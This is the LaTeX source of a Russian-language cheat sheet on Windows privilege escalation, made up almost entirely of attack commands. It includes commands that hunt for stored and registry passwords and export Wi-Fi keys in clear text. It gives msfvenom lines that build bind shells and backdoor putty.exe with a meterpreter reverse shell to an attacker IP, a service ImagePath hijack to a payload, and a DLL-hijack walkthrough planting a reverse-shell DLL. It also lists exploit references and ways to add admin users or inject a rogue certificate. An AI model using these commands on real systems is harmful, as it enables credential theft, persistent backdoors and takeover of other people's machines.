\documentclass[10pt,a4paper]{article} % Packages \usepackage{fancyhdr} % For header and footer \usepackage{multicol} % Allows multicols in tables \usepackage{tabularx} % Intelligent column widths \usepackage{tabulary} % Used in header and footer \usepackage{hhline} % Border under tables \usepackage{graphicx} % For images \usepackage{xcolor} % For hex colours %\usepackage[utf8x]{inputenc} % For unicode character support \usepackage[T1]{fontenc} % Without this we get weird character replacements \usepackage{colortbl} % For coloured tables \usepackage{setspace} % For line height \usepackage{lastpage} % Needed for total page number \usepackage{seqsplit} % Splits long words. %\usepackage{opensans} % Can't make this work so far. Shame. Would be lovely. \usepackage[normalem]{ulem} % For underlining links % Most of the following are not required for the majority % of cheat sheets but are needed for some symbol support. \usepackage{amsmath} % Symbols \usepackage{MnSymbol} % Symbols \usepackage{wasysym} % Symbols %\usepackage[english,german,french,spanish,italian]{babel} % Languages % Document Info \author{Adisf} \pdfinfo{ /Title (windows-privilege-escalation-v0-1.pdf) /Creator (Cheatography) /Author (Adisf) /Subject (Windows Privilege Escalation v0.1 Cheat Sheet) } % Lengths and widths \addtolength{\textwidth}{6cm} \addtolength{\textheight}{-1cm} \addtolength{\hoffset}{-3cm} \addtolength{\voffset}{-2cm} \setlength{\tabcolsep}{0.2cm} % Space between columns \setlength{\headsep}{-12pt} % Reduce space between header and content \setlength{\headheight}{85pt} % If less, LaTeX automatically increases it \renewcommand{\footrulewidth}{0pt} % Remove footer line \renewcommand{\headrulewidth}{0pt} % Remove header line \renewcommand{\seqinsert}{\ifmmode\allowbreak\else\-\fi} % Hyphens in seqsplit % This two commands together give roughly % the right line height in the tables \renewcommand{\arraystretch}{1.3} \onehalfspacing % Commands \newcommand{\SetRowColor}[1]{\noalign{\gdef\RowColorName{#1}}\rowcolor{\RowColorName}} % Shortcut for row colour \newcommand{\mymulticolumn}[3]{\multicolumn{#1}{>{\columncolor{\RowColorName}}#2}{#3}} % For coloured multi-cols \newcolumntype{x}[1]{>{\raggedright}p{#1}} % New column types for ragged-right paragraph columns \newcommand{\tn}{\tabularnewline} % Required as custom column type in use % Font and Colours \definecolor{HeadBackground}{HTML}{333333} \definecolor{FootBackground}{HTML}{666666} \definecolor{TextColor}{HTML}{333333} \definecolor{DarkBackground}{HTML}{008000} \definecolor{LightBackground}{HTML}{F7FBF7} \renewcommand{\familydefault}{\sfdefault} \color{TextColor} % Header and Footer \pagestyle{fancy} \fancyhead{} % Set header to blank \fancyfoot{} % Set footer to blank \fancyhead[L]{ \noindent \begin{multicols}{3} \begin{tabulary}{5.8cm}{C} \SetRowColor{DarkBackground} \vspace{-7pt} {\parbox{\dimexpr\textwidth-2\fboxsep\relax}{\noindent \hspace*{-6pt}\includegraphics[width=5.8cm]{/web/www.cheatography.com/public/images/cheatography_logo.pdf}} } \end{tabulary} \columnbreak \begin{tabulary}{11cm}{L} \vspace{-2pt}\large{\bf{\textcolor{DarkBackground}{\textrm{Windows Privilege Escalation v0.1 Cheat Sheet}}}} \\ \normalsize{by \textcolor{DarkBackground}{Adisf} via \textcolor{DarkBackground}{\uline{cheatography.com/37294/cs/12009/}}} \end{tabulary} \end{multicols}} \fancyfoot[L]{ \footnotesize \noindent \begin{multicols}{3} \begin{tabulary}{5.8cm}{LL} \SetRowColor{FootBackground} \mymulticolumn{2}{p{5.377cm}}{\bf\textcolor{white}{Cheatographer}} \\ \vspace{-2pt}Adisf \\ \uline{cheatography.com/adisf} \\ \end{tabulary} \vfill \columnbreak \begin{tabulary}{5.8cm}{L} \SetRowColor{FootBackground} \mymulticolumn{1}{p{5.377cm}}{\bf\textcolor{white}{Cheat Sheet}} \\ \vspace{-2pt}Not Yet Published.\\ Updated 9th June, 2017.\\ Page {\thepage} of \pageref{LastPage}. \end{tabulary} \vfill \columnbreak \begin{tabulary}{5.8cm}{L} \SetRowColor{FootBackground} \mymulticolumn{1}{p{5.377cm}}{\bf\textcolor{white}{Sponsor}} \\ \SetRowColor{white} \vspace{-5pt} %\includegraphics[width=48px,height=48px]{dave.jpeg} Measure your website readability!\\ www.readability-score.com \end{tabulary} \end{multicols}} \begin{document} \raggedright \raggedcolumns % Set font size to small. Switch to any value % from this page to resize cheat sheet text: % www.emerson.emory.edu/services/latex/latex_169.html \footnotesize % Small font. \begin{multicols*}{2} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Clear-text passwords}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{Содержимое файлов, в которых хранятся пароли для \seqsplit{авторазвертывания} \newline % Row Count 3 (+ 3) {\bf{C:\textbackslash{}unattend.xml}} \newline % Row Count 4 (+ 1) {\bf{\%WINDIR\%\textbackslash{}Panther\textbackslash{}Unattend\textbackslash{}Unattended.xml}} \newline % Row Count 5 (+ 1) {\bf{\%WINDIR\%\textbackslash{}Panther\textbackslash{}Unattended.xml}} \newline % Row Count 6 (+ 1) {\bf{C:\textbackslash{}sysprep.inf}} - {[}Clear Text{]} \newline % Row Count 7 (+ 1) {\bf{C:\textbackslash{}sysprep\textbackslash{}sysprep.xml}} - {[}Base64{]} \newline % Row Count 8 (+ 1) Файлы, которые также могут содержать пароли в \seqsplit{зашифрованном} виде в атрибуте cpassword \newline % Row Count 11 (+ 3) {\bf{group.xml}} \newline % Row Count 12 (+ 1) {\bf{Services\textbackslash{}Services.xml}} \newline % Row Count 13 (+ 1) {\bf{ScheduledTasks\textbackslash{}ScheduledTasks.xml}} \newline % Row Count 14 (+ 1) {\bf{Printers\textbackslash{}Printers.xml}} \newline % Row Count 15 (+ 1) {\bf{Drives\textbackslash{}Drives.xml}} \newline % Row Count 16 (+ 1) {\bf{DataSources\textbackslash{}DataSources.xml}} \newline % Row Count 17 (+ 1) Поиск различных файлов по маске \newline % Row Count 19 (+ 2) C:\textbackslash{}\textgreater{} {\bf{dir /s *pass* == *cred* == *vnc* == *.config*}} \newline % Row Count 21 (+ 2) Поиск password в текстовых файлах \newline % Row Count 23 (+ 2) C:\textbackslash{}\textgreater{} {\bf{findstr /si password *.txt | *.xml | *.ini}} \newline % Row Count 25 (+ 2) C:\textbackslash{}\textgreater{} {\bf{findstr /si pass *.txt | *.xml | *.ini}} \newline % Row Count 27 (+ 2) Поиск password в реестре \newline % Row Count 28 (+ 1) C:\textbackslash{}\textgreater{} {\bf{reg query HKLM /s | findstr /i password \textgreater{} temp.txt}} \newline % Row Count 30 (+ 2) } \tn \end{tabularx} \par\addvspace{1.3em} \vfill \columnbreak \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Clear-text passwords (cont)}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{C:\textbackslash{}\textgreater{} {\bf{reg query HKCU /s | findstr /i password \textgreater{} temp.txt}} \newline % Row Count 2 (+ 2) C:\textbackslash{}\textgreater{} {\bf{reg query HKLM /f password /t REG\_SZ /s}} \newline % Row Count 3 (+ 1) C:\textbackslash{}\textgreater{} {\bf{reg query HKCU /f password /t REG\_SZ /s}} \newline % Row Count 4 (+ 1) Пароль автологина \newline % Row Count 5 (+ 1) C:\textbackslash{}\textgreater{} {\bf{reg query "HKLM\textbackslash{}Software\textbackslash{}Microsoft\textbackslash{}Windows NT\textbackslash{}Currentversion\textbackslash{}Winlogon"}}% Row Count 7 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{PSexec}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{В Linux'е \newline % Row Count 1 (+ 1) \$ {\bf{psexec.py \textless{}user\textgreater{}@\textless{}host\textgreater{} \textless{}cmd\textgreater{}}} \newline % Row Count 2 (+ 1) Из пакета SysInternals \newline % Row Count 3 (+ 1) C:\textbackslash{}\textgreater{} {\bf{psexec.exe \textbackslash{}\textbackslash{}\textless{}host\textgreater{} \textless{}cmd\textgreater{}}}% Row Count 4 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Создание bind-шелла}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{\$ {\bf{msfvenom -p windows/shell\_bind\_tcp -f exe -o \textless{}Filename.exe\textgreater{} LPORT=\textless{}BindPort\textgreater{}}} \newline % Row Count 2 (+ 2) \$ {\bf{msfvenom -p windows/shell\_bind\_tcp -f dll -o \textless{}Filename.dll\textgreater{} LPORT=\textless{}BindPort\textgreater{}}}% Row Count 4 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Уязвимости по патчам}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{MS07-022 - KB931784 \newline % Row Count 1 (+ 1) MS07-066 - KB943078 \newline % Row Count 2 (+ 1) MS08-064 - KB956841 \newline % Row Count 3 (+ 1) MS09-058 - KB971486 \newline % Row Count 4 (+ 1) MS10-015 - KB977165 \newline % Row Count 5 (+ 1) MS10-021 - KB979683 \newline % Row Count 6 (+ 1) MS10-059 - KB982799 \newline % Row Count 7 (+ 1) MS10-092 - KB2305420 \newline % Row Count 8 (+ 1) MS11-011 - KB2393802 \newline % Row Count 9 (+ 1) MS11-080 - KB2592799 \newline % Row Count 10 (+ 1) MS13-005 - KB2778930 \newline % Row Count 11 (+ 1) CVE-2013-3660 \newline % Row Count 12 (+ 1) MS12-078 - KB2783534 \newline % Row Count 13 (+ 1) MS13-053 - KB2778930 \newline % Row Count 14 (+ 1) MS13-081 - KB2870008 \newline % Row Count 15 (+ 1) MS14-058 - KB3000061 \newline % Row Count 16 (+ 1) MS14-068 - KB3011780 \newline % Row Count 17 (+ 1) MS14-070 - KB2989935 \newline % Row Count 18 (+ 1) MS15-001 - KB3023266 \newline % Row Count 19 (+ 1) MS15-051 - KB3057191 \newline % Row Count 20 (+ 1) MS15-052 - KB3050514 \newline % Row Count 21 (+ 1) KiTrap0D - KB979682% Row Count 22 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Using accesschk.exe}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{\seqsplit{Автоматически} принять \seqsplit{пользовательское} соглашение \newline % Row Count 2 (+ 2) C:\textbackslash{}\textgreater{} {\bf{accesschk.exe /accepteula}} \newline % Row Count 3 (+ 1) Поиск директорий с правами на запись \newline % Row Count 5 (+ 2) C:\textbackslash{}\textgreater{} {\bf{accesschk.exe -uwdqs Пользователи C:\textbackslash{} }} \newline % Row Count 7 (+ 2) C:\textbackslash{}\textgreater{} {\bf{accesschk.exe -uwdqs "Authenticated Users" C:\textbackslash{} }} \newline % Row Count 9 (+ 2) Поиск файлов с правами на запись \newline % Row Count 11 (+ 2) C:\textbackslash{}\textgreater{} {\bf{accesschk.exe -uwqs Пользователи c:\textbackslash{}*.*}} \newline % Row Count 13 (+ 2) C:\textbackslash{}\textgreater{} {\bf{accesschk.exe -uwqs "Authenticated Users" c:\textbackslash{}*.*}} \newline % Row Count 15 (+ 2) C:\textbackslash{}\textgreater{} {\bf{cacls "c:\textbackslash{}Program Files" /T | findstr Пользователи}} \newline % Row Count 17 (+ 2) Права на конкретный сервис \newline % Row Count 18 (+ 1) C:\textbackslash{}\textgreater{} {\bf{accesschk.exe -ucqv {[}service\_name{]}}} \newline % Row Count 19 (+ 1) Слабые права на сервисы \newline % Row Count 20 (+ 1) C:\textbackslash{}\textgreater{} {\bf{accesschk.exe -uwcqv *}} \newline % Row Count 21 (+ 1) Права группы на запись у сервисов \newline % Row Count 23 (+ 2) C:\textbackslash{}\textgreater{} {\bf{accesschk.exe -uwcqv "Authenticated Users" *}}% Row Count 25 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{WMIC (Win 7/8 -{}- XP requires admin)}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{\seqsplit{Установленные} патчи \newline % Row Count 1 (+ 1) C:\textbackslash{}\textgreater{} {\bf{wmic qfe get Caption,Description,HotFixID,InstalledOn}} \newline % Row Count 3 (+ 2) Поиск из \seqsplit{установленных} патчей нужного \newline % Row Count 5 (+ 2) C:\textbackslash{}\textgreater{} {\bf{wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."}}% Row Count 7 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Эксплоиты exploitdb}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{350,platforms/windows/local/350.c,"MS Windows 2000 Utility Manager Privilege Elevation Exploit (MS04-019)",2004-07-14,"Cesar Cerrudo",windows,local,0 \newline % Row Count 3 (+ 3) 351,platforms/windows/local/351.c,"MS Windows 2K POSIX Subsystem Privilege Escalation Exploit (MS04-020)",2004-07-17,bkbll,windows,local,0 \newline % Row Count 6 (+ 3) 1198,platforms/windows/local/1198.c,"MS Windows CSRSS Local Privilege Escalation Exploit (MS05-018)",2005-09-06,eyas,windows,local,0 \newline % Row Count 9 (+ 3) 1407,platforms/windows/local/1407.c,"MS Windows 2k Kernel APC Data-Free Local Escalation Exploit (MS05-055)",2006-01-05,SoBeIt,windows,local,0 \newline % Row Count 12 (+ 3) 1911,platforms/windows/local/1911.c,"MS Windows XP/2K (Mrxsmb.sys) Privilege Escalation PoC (MS06-030)",2006-06-14,"Ruben Santamarta ",windows,local,0 \newline % Row Count 16 (+ 4) 2412,platforms/windows/local/2412.c,"MS Windows (Windows Kernel) Privilege Escalation Exploit (MS06-049)",2006-09-21,SoBeIt,windows,local,0 \newline % Row Count 19 (+ 3) 3688,platforms/windows/local/3688.c,"MS Windows GDI Local Privilege Escalation Exploit (MS07-017)",2007-04-08,Ivanlef0u,windows,local,0 \newline % Row Count 22 (+ 3) 3755,platforms/windows/local/3755.c,"MS Windows GDI Local Privilege Escalation Exploit (MS07-017) 2",2007-04-17,"Lionel d'Hauenens",windows,local,0 \newline % Row Count 25 (+ 3) 3804,platforms/windows/remote/3804.txt,"MS Windows (.ANI) GDI Remote Elevation of Privilege Exploit (MS07-017)",2007-04-26,"Lionel d'Hauenens",windows,remote,0 \newline % Row Count 29 (+ 4) 5518,platforms/windows/local/5518.txt,"MS Windows XP SP2 (win32k.sys) Privilege Escalation Exploit (MS08-025)",2008-04-28,"Ruben Santamarta ",windows,local,0 \newline % Row Count 33 (+ 4) } \tn \end{tabularx} \par\addvspace{1.3em} \vfill \columnbreak \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Эксплоиты exploitdb (cont)}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{14611,platforms/windows/dos/14611.c,"Microsoft Windows 'SfnLOGONNOTIFY' Local Privilege Escalation Vulnerability (MS10-048)",2010-08-10,MJ0011,windows,dos,0 \newline % Row Count 4 (+ 4) 18176,platforms/windows/local/18176.py,"Windows Afd.sys - Privilege Escalation Exploit (MS11-080)",2011-11-30,ryujin,windows,local,0 \newline % Row Count 7 (+ 3) 21844,platforms/windows/local/21844.rb,"MS11-080 AfdJoinLeaf Privilege Escalation",2012-10-10,metasploit,windows,local,0 \newline % Row Count 10 (+ 3) 27296,platforms/windows/local/27296.rb,"MS13-005 HWND\_BROADCAST Low to Medium Integrity Privilege Escalation",2013-08-02,metasploit,windows,local,0% Row Count 13 (+ 3) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Vulnerable EXE Permissions}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{Если есть доступ на запись к исполняемым файлам, то можно подсунуть свой файл и при запуске \seqsplit{администратором} этого файла получим шелл. Можно объединить исполняемый файл с нагрузкой с помощью метасплоита. \newline % Row Count 8 (+ 8) msf\textgreater{} {\bf{msfvenom -a x86 -{}-platform windows -x putty.exe -k -p \seqsplit{windows/meterpreter/reverse\_tcp} lhost=192.168.1.101 -e x86/shikata\_ga\_nai -i 3 -b "\textbackslash{}x00" -f exe -o puttyX.exe}}% Row Count 12 (+ 4) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{PowerSploit}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{\seqsplit{https://github.com/PowerShellMafia/PowerSploit} \newline % Row Count 1 (+ 1) А точнее скрипт \seqsplit{https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc} \newline % Row Count 3 (+ 2) {\bf{Get-ServiceUnquoted}} найдет все сервисы без кавычек и с пробелами в полном путе \newline % Row Count 6 (+ 3) {\bf{Get-ServicePerms}} перечислит все сервисы, на модификацию которых имеет право текущий пользователь \newline % Row Count 10 (+ 4) {\bf{Get-ServiceEXEPerms}} проверит все исполняемые файлы сервисов и вернет файлы, на которые пользователь имеет право на запись \newline % Row Count 15 (+ 5) {\bf{Invoke-ServiceUserAdd}} \seqsplit{включает/останавливает} сервис, \seqsplit{реконфигурирует} его, добавляя с его помощью локального пользователя и добавляя его в группу \seqsplit{администраторов}, рестартует и т.д. \newline % Row Count 22 (+ 7) {\bf{Write-UserAddServiceBinary}} создает \seqsplit{скомпилированный} C\# бинарник и бинарный патч, добавляющий \seqsplit{пользователя.} \newline % Row Count 26 (+ 4) {\bf{Write-ServiceEXE}} записывает бинарник в указанный путь сервиса и возвращает оригинальные .exe \newline % Row Count 30 (+ 4) } \tn \end{tabularx} \par\addvspace{1.3em} \vfill \columnbreak \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{PowerSploit (cont)}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{{\bf{Invoke-FindDLLHijack}} является \seqsplit{портированной} версией Mandiant's FindDLLHijack. Проверяет все запущенные процессы и их загруженные модули и возвращает все hijackable-пути, т.е. путь к exe и модуль, которых не существует. \newline % Row Count 8 (+ 8) {\bf{Invoke-FindPathDLLHijack}} ищет потенциально hijackable службы. DLL пути из \%PATH\%. Подробнее \seqsplit{http://www.greyhathacker.net/?p=738} \newline % Row Count 12 (+ 4) {\bf{Get-RegAlwaysInstallElevated}} проверяет включен ли ключ реестра AlwaysInstallElevated \newline % Row Count 15 (+ 3) {\bf{Write-UserAddMSI}} может затем создать MSI, который добавит пользователя с админскими правами \newline % Row Count 19 (+ 4) {\bf{Get-UnattendedInstallFiles}} поиск файлов \seqsplit{автоматической} установки .xml, которые могут содержать какие-либо учетные данные \newline % Row Count 24 (+ 5) {\bf{Get-RegAutoLogon}} извлекает данные автологина из реестра \newline % Row Count 26 (+ 2) {\bf{Invoke-AllChecks}} запустит все проверки на повышение привилегий% Row Count 29 (+ 3) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Insecure Registry Permissions}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{Ошибки в правах на ветки реестра тоже могут помочь повысить привилегии, для проверки используется программа SubInACL \newline % Row Count 5 (+ 5) C:\textbackslash{}\textgreater{} {\bf{subinacl.exe /keyreg "HKEY\_LOCAL\_MACHINE\textbackslash{}SYSTEM\textbackslash{}CurrentControlSet\textbackslash{}Services\textbackslash{}Vulnerable Service" /display}} \newline % Row Count 8 (+ 3) Если можем изменять ключ реестра, то выполним \newline % Row Count 10 (+ 2) C:\textbackslash{}\textgreater{} {\bf{reg add "HKEY\_LOCAL\_MACHINE\textbackslash{}SYSTEM\textbackslash{}ControlSet001\textbackslash{}Services\textbackslash{}Vulnerable Service" /t REG\_EXPAND\_SZ /v ImagePath /d "C:\textbackslash{}Users\textbackslash{}testuser\textbackslash{}AppData\textbackslash{}Local\textbackslash{}Temp\textbackslash{}Payload.exe" /f}}% Row Count 14 (+ 4) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{DLL Hijacking}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{Статья, которая хорошо описывает данную уязвимость \newline % Row Count 2 (+ 2) {\emph{When an application dynamically loads a dynamic-link library without specifying a fully qualified path name, Windows attempts to locate the DLL by searching a well-defined set of directories in a particular order, as described in Dynamic-Link Library Search Order. If an attacker gains control of one of the directories on the DLL search path, it can place a malicious copy of the DLL in that directory. This is sometimes called a DLL preloading attack or a binary planting attack. If the system does not find a legitimate copy of the DLL before it searches the compromised directory, it loads the malicious DLL. If the application is running with administrator privileges, the attacker may succeed in local privilege elevation.}} \newline % Row Count 17 (+ 15) Порядок проверки следующий \newline % Row Count 19 (+ 2) 1) Директория, из которой запущено приложение. \newline % Row Count 21 (+ 2) 2) Системная директория для 32-битных приложений (C:\textbackslash{}Windows\textbackslash{}System32). \newline % Row Count 24 (+ 3) 3) Системная директория для 16-битных приложений (C:\textbackslash{}Windows\textbackslash{}System). \newline % Row Count 27 (+ 3) 4) Папка C:\textbackslash{}Windows. \newline % Row Count 28 (+ 1) 5) Текущая папка. \newline % Row Count 29 (+ 1) 6) Директории, указанные в переменной окружения PATH. \newline % Row Count 31 (+ 2) } \tn \end{tabularx} \par\addvspace{1.3em} \vfill \columnbreak \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{DLL Hijacking (cont)}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{Для эксплуатации нам надо найти директорию откуда загружается DLL и подсунуть свою уровнем выше. \newline % Row Count 4 (+ 4) Так как мы не можем видеть какие библиотеки подгружаются, скачиваем себе исполняемый файл и анализируем его. Нас интересует LoadLibraryW \newline % Row Count 9 (+ 5) \seqsplit{Проанализировать} можно с помощью ProcMon с \seqsplit{установленными} фильтрами \newline % Row Count 12 (+ 3) ProcessName is Vulnerable.exe \newline % Row Count 13 (+ 1) Result is NAME NOT FOUND \newline % Row Count 14 (+ 1) Path ends with .dll \newline % Row Count 15 (+ 1) Теперь нужно найти папку с правами на запись. Часто в корне диска C: установлены программы, к которым имеют доступ \seqsplit{аутентифицированные} пользователи (python27) \newline % Row Count 21 (+ 6) Проверим права \newline % Row Count 22 (+ 1) C:\textbackslash{}\textgreater{} {\bf{accesschk.exe -dqv "C:\textbackslash{}Python27"}} \newline % Row Count 23 (+ 1) C:\textbackslash{}\textgreater{} {\bf{icacls C:\textbackslash{}Python27}} \newline % Row Count 24 (+ 1) \seqsplit{Аутентифицированные} пользователи имеют права на модификацию \newline % Row Count 27 (+ 3) Создадим простой реверс-шелл \newline % Row Count 29 (+ 2) root@kali\textasciitilde{}\# {\bf{msfvenom -p \seqsplit{windows/x64/meterpreter/reverse\_tcp} lhost=192.168.2.60 lport=8989 -f dll \textgreater{} hijackable.dll}} \newline % Row Count 32 (+ 3) } \tn \end{tabularx} \par\addvspace{1.3em} \vfill \columnbreak \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{DLL Hijacking (cont)}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{Загрузим \newline % Row Count 1 (+ 1) meterpreter\textgreater{} {\bf{upload -f hijackable.dll}} \newline % Row Count 2 (+ 1) Скопируем наш DLL в папку с python27 \newline % Row Count 4 (+ 2) C:\textbackslash{}\textgreater{} {\bf{copy hijackable.dll C:\textbackslash{}Python27\textbackslash{}wlbsctrl.dll}} \newline % Row Count 6 (+ 2) Процесс IKEEXT ("IKE and AuthIP IPsec Keying Modules") пытается загрузить wlbsctrl.dll, который отсутствует в конфигурации системы по-умолчанию (Vista, 2008, 7, 8), а так как папка C:\textbackslash{}python27 имеется в PATH, то эта библиотека будет подгружена при запуске этого сервиса (после перезагрузки системы) \newline % Row Count 16 (+ 10) C:\textbackslash{}\textgreater{} {\bf{sc qc IKEEXT}}% Row Count 17 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Ссылки}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{\seqsplit{https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/} \newline % Row Count 2 (+ 2) \seqsplit{https://xakep.ru/2014/12/24/hack-admin-rules/} \newline % Row Count 3 (+ 1) \seqsplit{http://www.fuzzysecurity.com/tutorials/16.html} \newline % Row Count 4 (+ 1) \seqsplit{http://www.fuzzysecurity.com/tutorials/18.html} \newline % Row Count 5 (+ 1) \seqsplit{http://www.greyhathacker.net/?p=738}% Row Count 6 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Metasploit}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{Можно оставить в системе свой сертификат чтобы при перехватах трафика или при запуске некоторых приложений с проверкой издателя не выходило \seqsplit{предупреждений} \newline % Row Count 6 (+ 6) \seqsplit{post/windows/manage/inject\_ca}% Row Count 7 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Сбор информации}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{Информация о системе \newline % Row Count 1 (+ 1) C:\textbackslash{}\textgreater{} {\bf{systeminfo}} \newline % Row Count 2 (+ 1) Текущий пользователь \newline % Row Count 3 (+ 1) C:\textbackslash{}\textgreater{} {\bf{echo \%username\%}} \newline % Row Count 4 (+ 1) C:\textbackslash{}\textgreater{} {\bf{whoami}} \newline % Row Count 5 (+ 1) Список \seqsplit{пользователей} \newline % Row Count 6 (+ 1) C:\textbackslash{}\textgreater{} {\bf{net users}} \newline % Row Count 7 (+ 1) C:\textbackslash{}\textgreater{} {\bf{net user}} \newline % Row Count 8 (+ 1) Информация о пользователе \newline % Row Count 9 (+ 1) C:\textbackslash{}\textgreater{} {\bf{net user "\%username\%"}} \newline % Row Count 10 (+ 1) Список групп \newline % Row Count 11 (+ 1) C:\textbackslash{}\textgreater{} {\bf{net localgroup}} \newline % Row Count 12 (+ 1) Версия ОС \newline % Row Count 13 (+ 1) C:\textbackslash{}\textgreater{} {\bf{ver}} \newline % Row Count 14 (+ 1) \seqsplit{Установленные} драйвера \newline % Row Count 15 (+ 1) C:\textbackslash{}\textgreater{} {\bf{DRIVERQUERY}}% Row Count 16 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{8.4cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{8.4cm}}{\bf\textcolor{white}{Информация о сети}} \tn \SetRowColor{white} \mymulticolumn{1}{x{8.4cm}}{Сетевые адаптеры \newline % Row Count 1 (+ 1) C:\textbackslash{}\textgreater{} {\bf{ipconfig /all}} \newline % Row Count 2 (+ 1) Маршруты \newline % Row Count 3 (+ 1) C:\textbackslash{}\textgreater{} {\bf{route print}} \newline % Row Count 4 (+ 1) ARP-таблица \newline % Row Count 5 (+ 1) C:\textbackslash{}\textgreater{} {\bf{arp -A}} \newline % Row Count 6 (+ 1) Сетевые соединения с PID \newline % Row Count 7 (+ 1) C:\textbackslash{}\textgreater{} {\bf{netstat -ano}} \newline % Row Count 8 (+ 1) Сетевые соединения с именем процесса \newline % Row Count 10 (+ 2) C:\textbackslash{}\textgreater{} {\bf{netstat -anb}} - Требует повышения \newline % Row Count 12 (+ 2) Фаервол (только Win XP SP2+) \newline % Row Count 13 (+ 1) C:\textbackslash{}\textgreater{} {\bf{netsh firewall show state}} \newline % Row Count 14 (+ 1) C:\textbackslash{}\textgreater{} {\bf{netsh firewall show config}} \newline % Row Count 15 (+ 1) Пароль Wi-Fi \newline % Row Count 16 (+ 1) C:\textbackslash{}\textgreater{} {\bf{netsh wlan export profile key=clear}}% Row Count 17 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} 